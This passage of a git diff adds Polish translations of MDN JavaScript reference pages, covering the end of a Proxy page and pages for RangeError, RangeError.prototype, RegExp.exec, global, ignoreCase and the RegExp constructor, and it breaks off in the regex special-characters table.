defineProperty: function (oTarget, sKey, oDesc) { + if (oDesc && 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); } + return oTarget; + }, + getOwnPropertyDescriptor: function (oTarget, sKey) { + var vValue = oTarget.getItem(sKey); + return vValue ? { + value: vValue, + writable: true, + enumerable: true, + configurable: false + } : undefined; + }, +}); + +/* Cookies test */ + +console.log(docCookies.my_cookie1 = 'First value'); +console.log(docCookies.getItem('my_cookie1')); + +docCookies.setItem('my_cookie1', 'Changed value'); +console.log(docCookies.my_cookie1);</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td> + <td>{{Spec2('ES2016')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td> + <td>{{Spec2('ES2017')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + + + +<p>{{Compat("javascript.builtins.Proxy", 2)}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li> + <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li> + <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li> + <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li> + <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li> +</ul> + +<h2 id="Licensing_note">Licensing note</h2> + +<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p> diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html new file mode 100644 index 0000000000..13c2981e8d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html @@ -0,0 +1,162 @@ +--- +title: RangeError +slug: Web/JavaScript/Referencje/Obiekty/RangeError +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +--- +<div>{{JSRef}}</div> + +<p>Obiekt <code><strong>RangeError</strong></code> wskazuje na błąd, gdy wartość jest poza zakresem dozwolonych wartości.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>message</code></dt> + <dd><code>Opcjonalne. Czytelny opis błędu.</code></dd> + <dt><code>fileName</code> {{non-standard_inline}}</dt> + <dd>Opcjonalne. Nazwa pliku zawierającego kod, któy wywołał wyjątek.</dd> + <dt><code>lineNumber</code> {{non-standard_inline}}</dt> + <dd>Opcjonalne. Numer linii kodu, gdzie wywołany został wyjątek.</dd> +</dl> + +<h2 id="sect1"> </h2> + +<h2 id="Opis">Opis</h2> + +<p><code>RangeError</code> rzucany jest podczas próby przesłaniu numeru, jako argumentu do funkcji, która nie pozwala na zakresy zawierające ten numer. To może zdarzyć się podczas próby stworzenia listy (array) o niedozwolonej długości za pomocą konstruktora {{jsxref("Array")}}, lub podczas wywołania metod {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} lub {{jsxref("Number.toPrecision()")}} z przekazaną złą wartością.</p> + +<p> </p> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{jsxref("RangeError.prototype")}}</dt> + <dd>Pozwala na dodanie właściwości do obiektu RangeError.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<p><code>RangeError</code> nie posiada metod jako takich, ale dziedziczy pewne metody z łańcucha prototypów.</p> + +<h2 id="Instancje_RangeError"><code>Instancje RangeError</code></h2> + +<h3 id="Właściwości_2">Właściwości</h3> + +<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Właściwości')}}</div> + +<h3 id="Metody_2">Metody</h3> + +<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Metody')}}</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_RangeError">Użycie <code>RangeError</code></h3> + +<pre class="brush: js">var check = function(num) { + if (num < MIN || num > MAX) { + throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX); + } +}; + +try { + check(500); +} +catch (e) { + if (e instanceof RangeError) { + // Handle range error + } +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Bazowe wsparcie</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Bazowe wsparcie</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error")}}</li> + <li>{{jsxref("RangeError.prototype")}}</li> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Number.toExponential()")}}</li> + <li>{{jsxref("Number.toFixed()")}}</li> + <li>{{jsxref("Number.toPrecision()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html new file mode 100644 index 0000000000..55beba5bc8 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html @@ -0,0 +1,123 @@ +--- +title: RangeError.prototype +slug: Web/JavaScript/Referencje/Obiekty/RangeError/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +--- +<div>{{JSRef}}</div> + +<p><code><font face="Open Sans, Arial, sans-serif">Właściwość </font><strong>RangeError.prototype</strong></code> reprezentuje prototyp konstuktora {{jsxref("RangeError")}}.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis">Opis </h2> + +<p>Wszystkie instancje {{jsxref("RangeError")}} dziedziczą z prototyup RangeError. Możesz użyć prototypu, by dodać właściwości lub metody do wszystkich instancji.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt><code>RangeError.prototype.constructor</code></dt> + <dd>Funkcja, która tworzy prototyp instancji.</dd> + <dt>{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}</dt> + <dd>Wiadomość błędu. Chociaż specyfikacja ECMA-262 mówi, że <span style="line-height: 1.5;">{{jsxref("RangeError")}} powinien dostarczyć swoją własną właściwość </span><code style="font-style: normal; line-height: 1.5;">message</code><span style="line-height: 1.5;">, w </span><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" style="line-height: 1.5;">SpiderMonkey</a><span style="line-height: 1.5;">, dziedziczy z {{jsxref("Error.prototype.message")}}.</span></dd> + <dt>{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}</dt> + <dd>Nazwa błędu, dziedziczona z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}</dt> + <dd>Ścieżka do pliku, w którym wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}</dt> + <dd>Numer linii, gdzie wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}</dt> + <dd>Numer kolumny w linii, gdzie wywołany został błąd. Dziedziczone z <span style="line-height: 1.5;">{{jsxref("Error")}}.</span></dd> + <dt>{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}</dt> + <dd>Ślad stosu. Dziedziczone z {{jsxref("Error")}}.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<p>Chociaż prototyp <span style="line-height: 1.5;">{{jsxref("RangeError")}} nie zawiera metod jako taki, instancja </span><span style="line-height: 1.5;">{{jsxref("RangeError")}} dziedziczy pewne metody z łańcucha prototypów.</span></p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Defined as <code><em>NativeError</em>.prototype</code>.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Defined as <code><em>NativeError</em>.prototype</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Bazowe wsparcie</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Bazowe wsparcie</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Error.prototype")}}</li> + <li>{{jsxref("Function.prototype")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html new file mode 100644 index 0000000000..618ec13d69 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html @@ -0,0 +1,144 @@ +--- +title: RegExp.prototype.exec() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/exec +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec +--- +<p>{{ JSRef }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wykonuje operacje wyszukiwania danego łańcucha znaków. Wynikiem jest macierz.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>regexObj</var>.exec(<var>str</var>)</code></pre> + +<p> </p> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>str</code> </dt> + <dd>Łańcuch znaków, do którego ma być porównane wyrażenie.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jak wynika z opisu składni metoda exec może być wywołana w sposób bezpośredni (za pomocą <code>regexp.exec(str)</code>) lub pośredni (za pomocą <code>regexp(str)</code>).</p> + +<p>Jeśli wynik będzie pozytywny metoda <code>exec</code> zwróci macierz oraz zaktualizuje własności obiektu. W przeciwnym wypadku zostanie zwrócone <code>null</code>.</p> + +<p>Przejrzyj poniższy przykład:</p> + +<pre class="brush: js">//Znajdź pojedyncze "d" poprzedzone przez jedno lub więcej "b", po których następuje pojedyncze "d" +//Zapamiętaj znalezione "b" oraz następujące "d" +//Ignoruj wielkość liter +var re=/d(b+)(d)/ig; +var myArray = re.exec("cdbBdbsbz"); +</pre> + +<p>Poniższa tabela pokazuje rezultaty wygenerowane przez skrypt:</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header">Obiekt</td> + <td class="header">Właściwość/Indeks</td> + <td class="header">Opis</td> + <td class="header">Przykład</td> + </tr> + <tr> + <td rowspan="5"><code>myArray</code></td> + <td><code> </code></td> + <td>Zawartość <code>myArray</code>.</td> + <td><code>[ \"dbBd\", \"bB\", \"d\"') ]</code></td> + </tr> + <tr> + <td><code>index</code></td> + <td>Indeks wyszukania łańcucha znaków rozpoczynający się od 0.</td> + <td><code>1</code></td> + </tr> + <tr> + <td><code>input</code></td> + <td>Ciąg bazowy.</td> + <td><code>cdbBdbsbz</code></td> + </tr> + <tr> + <td><code>[0]</code></td> + <td>Ostatnie odnalezione znaki.</td> + <td><code>dbBd</code></td> + </tr> + <tr> + <td><code>[1], ...[<em>n</em> ]</code></td> + <td>Wyszukane podłańcuch w nawiasach. Liczba możliwych podłańcuch jest nieokreślona.</td> + <td><code>[1] = bB<br> + [2] = d</code></td> + </tr> + <tr> + <td rowspan="5"><code>myRe</code></td> + <td><code>lastIndex</code></td> + <td>Indeks, od którego rozpocząć nowe wyszukiwanie.</td> + <td><code>5</code></td> + </tr> + <tr> + <td><code>ignoreCase</code></td> + <td>Wskazuje czy flaga "<code>i</code>" została użyta.</td> + <td><code>true</code></td> + </tr> + <tr> + <td><code>global</code></td> + <td>Wskazuje czy flaga "<code>g</code>" została użyta do globalnego przeszukiwania.</td> + <td><code>true</code></td> + </tr> + <tr> + <td><code>multiline</code></td> + <td>Wskazuje czy flaga "<code>m</code>" została użyta do globalnego przeszukiwania.</td> + <td><code>false</code></td> + </tr> + <tr> + <td><code>source</code></td> + <td>Tekst wyszukiwanego łańcucha znaków.</td> + <td><code>d(b+)(d)</code></td> + </tr> + </tbody> +</table> + +<p>Jeżeli twoje wyrażenie regularne korzysta z flagi "g", możesz wielokrotnie używać metody exec() aby porównać je z tym samym ciągiem znaków. W takim wypadku porównywanie rozpoczyna się od elementu zdefiniowanego jako <code>lastIndex. </code>Na przykład:</p> + +<pre class="brush: js language-js"><code class="language-js"><span class="keyword token">var</span> myRe <span class="operator token">=</span> <span class="regex token">/ab*/g</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> str <span class="operator token">=</span> <span class="string token">'abbcdefabh'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> myArray<span class="punctuation token">;</span> +<span class="keyword token">while</span> <span class="punctuation token">(</span><span class="punctuation token">(</span>myArray <span class="operator token">=</span> myRe<span class="punctuation token">.</span><span class="function token">exec<span class="punctuation token">(</span></span>str<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">!</span><span class="operator token">==</span> <span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> msg <span class="operator token">=</span> <span class="string token">'Found '</span> <span class="operator token">+</span> myArray<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">+</span> <span class="string token">'. '</span><span class="punctuation token">;</span> + msg <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">'Next match starts at '</span> <span class="operator token">+</span> myRe<span class="punctuation token">.</span>lastIndex<span class="punctuation token">;</span> + console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span>msg<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>Skrypt ten wyświetli następujący tekst:</p> + +<pre>Found abb. Next match starts at 3 +Found ab. Next match starts at 9 +</pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_exec" name="Przyk.C5.82ad:_Zastosowanie_exec">Przykład: Zastosowanie <code>exec()</code></h3> + +<p>You can also use <code>exec()</code> without creating a {{jsxref("RegExp")}} object:</p> + +<pre class="brush: js language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> <span class="regex token">/(hello \S+)/</span><span class="punctuation token">.</span><span class="function token">exec<span class="punctuation token">(</span></span><span class="string token">'This is a hello world!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span>matches<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>This will display an alert containing 'hello world!'.</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="https://developer.mozilla.org//pl/docs/Web/JavaScript/Guide">JavaScript Guide</a></li> + <li>{{jsxref("RegExp")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html new file mode 100644 index 0000000000..e393cbeed0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html @@ -0,0 +1,35 @@ +--- +title: RexExp.prototype.global +slug: Web/JavaScript/Referencje/Obiekty/RegExp/global +tags: + - JavaScript + - Property + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global +--- +<div>{{JSRef("Global_Objects", "RegExp")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Określa czy z wyrażeniem regularnym została użyta flaga "<code>g</code>".</p> + +<div>{{js_property_attributes(0, 0, 1)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>global</code> jest własnością pojedynczego obiektu wyrażenia regularnego.</p> + +<p>Wartość <code>global</code> wynosi true, jeśli użyta została flaga "<code>g</code>"; w przeciwnym przypadku będzie to wartość <code>false</code>. Flaga "<code>g</code>" wskazuje, że wyrażenie regularne powinno zostać sprawdzone w stosunku do wszystkich możliwych wyników w łańcuchu znaków.</p> + +<p>Tej własności nie można zmieniać bezpośrednio.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("RegExp.lastIndex")}}</li> + <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li> + <li>{{jsxref("RegExp.prototype.multiline")}}</li> + <li>{{jsxref("RegExp.prototype.source")}}</li> + <li>{{jsxref("RegExp.prototype.sticky")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html new file mode 100644 index 0000000000..f847bf1221 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html @@ -0,0 +1,35 @@ +--- +title: RegExp.prototype.ignoreCase +slug: Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase +tags: + - JavaScript + - Property + - RegExp + - protype +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Określa czy z wyrażeniem regularnym została użyta flaga "<code>i</code>".</p> + +<div>{{js_property_attributes(0, 0, 1)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>ignoreCase</code> jest własnością pojedynczego obiektu wyrażenia regularnego.</p> + +<p>Wartość <code>ignoreCase</code> wynosi <code>true</code>, jeśli użyta została flaga "<code>i</code>"; w przeciwnym przypadku będzie to wartość <code>false</code>. Flaga "<code>i</code>" wskazuje, że wielkość znaków ma być ignorowana podczas dokonywania porównań w łańcuchu znaków.</p> + +<p>Tej własności nie można zmieniać bezpośrednio.</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("RegExp.lastIndex")}}</li> + <li>{{jsxref("RegExp.prototype.global")}}</li> + <li>{{jsxref("RegExp.prototype.multiline")}}</li> + <li>{{jsxref("RegExp.prototype.source")}}</li> + <li>{{jsxref("RegExp.prototype.sticky")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/index.html new file mode 100644 index 0000000000..7fb605c26f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/regexp/index.html @@ -0,0 +1,383 @@ +--- +title: RegExp +slug: Web/JavaScript/Referencje/Obiekty/RegExp +tags: + - Constructor + - JavaScript + - RegExp + - Regular Expressions +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Obiekt wyrażeń regularnych (ang. <em>regular expression</em>) zawiera wzór regularnego wyrażenia. Posiada ono właściwości i metody, które umożliwiają znalezienie lub zmianę ciągu znaków w innym ciągu znaków.</p> + +<p>W dodatku do właściwości pojedynczego obiektu wyrażenia regularnego, które tworzysz używając funkcji konstruktora <code>RegExp</code>, predefiniowany obiekt <code>RegExp</code> posiada własności statyczne, które są ustawione, kiedy jakiekolwiek wyrażenie regularne jest użyte.</p> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Tworzony przez</h2> + +<p>Odpowiednik tekstowy lub funkcja-konstruktor <code>RegExp</code>.</p> + +<p>Odpowiednik tekstowy jest używany jak poniżej:</p> + +<pre class="brush: js"><em>/wzór/flagi</em> +</pre> + +<p>Konstruktor jest używany jak poniżej:</p> + +<pre class="brush: js">new RegExp("<em>wzór</em>"[, "<em>flagi</em>"]) +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wzór</code></dt> + <dd>Tekst wyrażenia regularnego.</dd> + <dt><code>flagi</code></dt> + <dd>Jeśli podane, flagi mogą mieć jakąkolwiek kombinację poniższych wartości: <code>g</code> - wyszukiwanie globalne, <code>i</code> - ignoruje wielkość liter, <code>m</code> - wyszukiwanie w wielu liniach.</dd> +</dl> + +<p>Zauważ, że parametry w formacie tekstowym nie używają cudzysłowu do oznaczenia ciągów znaków, kiedy parametry funkcji konstruktora używają cudzysłów. Tak, więc poniższe wyrażenia tworzą to samo wyrażenie regularne:</p> + +<pre class="brush: js">/ab+c/i; +new RegExp("ab+c", "i"); +</pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Podczas użycia funkcji konstruktora, standardowe znaki ucieczki (<em>string escape rule</em>, poprzedzanie znaków specjalnych <em>backslash'’ "\" kiedy użyte w ciągu znaków) są wymagane. Na przykład poniższe dwa przykłady są identyczne:</em></p> + +<pre class="brush: js">re = new RegExp("\\w+"); +re = /\w+/; +</pre> + +<h3 id="Znaki_specjalne_w_wyra.C5.BCeniach_regularnych" name="Znaki_specjalne_w_wyra.C5.BCeniach_regularnych">Znaki specjalne w wyrażeniach regularnych</h3> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header">Znak</td> + <td class="header">Znaczenie</td> + </tr> + <tr> + <td><code>\</code></td> + <td> + <p>Dla znaków które zwykle są traktowane dosłownie, oznacza że następny znak jest specjalny i nie ma być interpretowany standardowo.</p> + + <p>Na przykład, <code>/b/</code> szuka znaku "b". Wstawiając backslash (<code>\</code>) przed b, to jest używając <code>/\b/</code>, znak staje się specjalny "znajdź granicę wyrazu".</p> + + <p>-lub-</p> + + <p>Dla znaków, które zwykle są traktowane jako specjalne oznacza, że następny znak jest zwykły powinien być interpretowany dosłownie.</p> + + <p>Na przykład, <code>*</code> jest znakiem specjalnym oznaczającym 0 lub więcej wystąpień poprzedzającego znaku powinno być znalezionych; na przykład, <code>/a*/</code> oznacza "znajdź 0 lub więcej znaków <code>a</code>". Aby znaleźć dosłownie <code>*</code>, poprzedź ten znak backslashem (<code>\</code>), na przykład <code>/a\*/</code> znajduje "a*".</p> + </td> + </tr> + <tr> + <td><code>^</code></td> + <td> + <p>Znajduje początek wejścia. Jeśli flaga wielu linii (ang. <em>multiline</em>) jest ustawiona na <em>prawda</em> (<code>true</code>), znajduje również od razu po znaku nowej linii.</p> + + <p>Na przykład, <code>/^B/</code> nie znajdzie "B" w "Andrzej B" ale znajdzie "B" w "Bogusław A".</p> + </td> + </tr> + <tr> + <td><code>$</code></td> + <td> + <p>Oznacza koniec wejścia. Jeśli flaga wielu linii (ang. <em>multiline</em>) jest ustawiona na <em>prawda</em> (<code>true</code>), znajduje również bezpośrednio przed znakiem końca linii.</p> + + <p>Na przykład, <code>/a$/</code> nie znajdzie "a" w "mrówkojad" ale znajdzie "a" w "mrówka".</p> + </td> + </tr> + <tr> + <td><code>*</code></td> + <td> + <p>Znajduje poprzedzającą pozycję 0 lub więcej razy.</p> + + <p>Na przykład, <code>/bu*/</code> znajdzie "buuuu" w "Duch krzyknął buuuu" i "b" w "Głośnik zabrzmiał basowo" ale nic w "Ptak zaśpiewał".</p> + </td> + </tr> + <tr> + <td><code>+</code></td> + <td> + <p>Znajduje poprzedzającą pozycję 1 lub więcej razy. Równoważne do <code>{1,}</code>.</p> + + <p>Na przykład, <code>/r+/</code> dopasuje się do "r" w "cukierek" i do wszystkich "r" w "cukierrrrrrrek".</p> + </td> + </tr> + <tr> + <td><code>?</code></td> + <td> + <p>Znajduje poprzedzającą pozycję 0 razy lub 1 raz.</p> + + <p>Na przykład <code>/o?ąt?/</code> znajdzie "oł" w "anioł" i "ąt" w "kąt".</p> + + <p>Jeśli zostanie użyte zaraz po którymś ze znaków *, +, ?, lub {}, to wymusza przejście do trybu niezachłannego (domyślne jest dopasowanie zachłanne), czyli dopasowanie następuje do najmniejszego ciągu spełniającego wyrażenie, a nie do największego.</p> + + <p>Pytajnik używany jest także w <em>lookahead assertions</em>, opisanych pod <code>(?=)</code>, <code>(?!)</code> i <code>(?:)</code> w tej tabeli.</p> + </td> + </tr> + <tr> + <td><code>.</code></td> + <td> + <p>(Kropka) znajduje jakikolwiek pojedynczy znak poza znakiem nowej linii.</p> + + <p>Na przykład, <code>/.a/</code> znajdzie "ja" i "na" w "jabłko rośnie na drzewie ale arbuz nie", ale nie znajdzie "al" i "ar".</p> + </td> + </tr> + <tr> + <td><code>(x)</code></td> + <td> + <p>Znajduje "x" i zapamiętuje to dopasowanie. Nazywa się to "nawiasy wychwytujące" (ang. <em>capturing parentheses</em>).</p> + + <p>Na przykład, <code>/(foo)/</code> znajduje i zapamiętuje "foo" w "foo bar". Znaleziony pod-ciąg (<em>substring</em>) może być ponownie wywołany elementów tablicy wynikowej <code>1, ..., n</code> jak również z predefiniowanych własności obiektu <code>RegExp</code>, <code>$1, ..., $9</code>.</p> + </td> + </tr> + <tr> + <td><code>(?:x)</code></td> + <td> + <p>Znajduje "x", ale nie pamięta dopasowania. Nazywa się to "nawiasy niewychwytujące" (ang. <em>non-capturing parentheses</em>). Znaleziony podciąg (<em>substring</em>) nie może być wywołany ponownie z elementów wynikowych tablicy <code>1, ..., n</code> ani za pomocą właściwości obiektu <code>RegExp</code>, <code>$1, ..., $9</code>.</p> + </td> + </tr> + <tr> + <td><code>x(?=y)</code></td> + <td> + <p>Znajduje "x", tylko wtedy, gdy zaraz po "x" jest "y". Na przykład, <code>/Jacek(?=Szprotka)/</code> znajdzie "Jacek" tylko, jeśli zaraz po tym jest wyraz 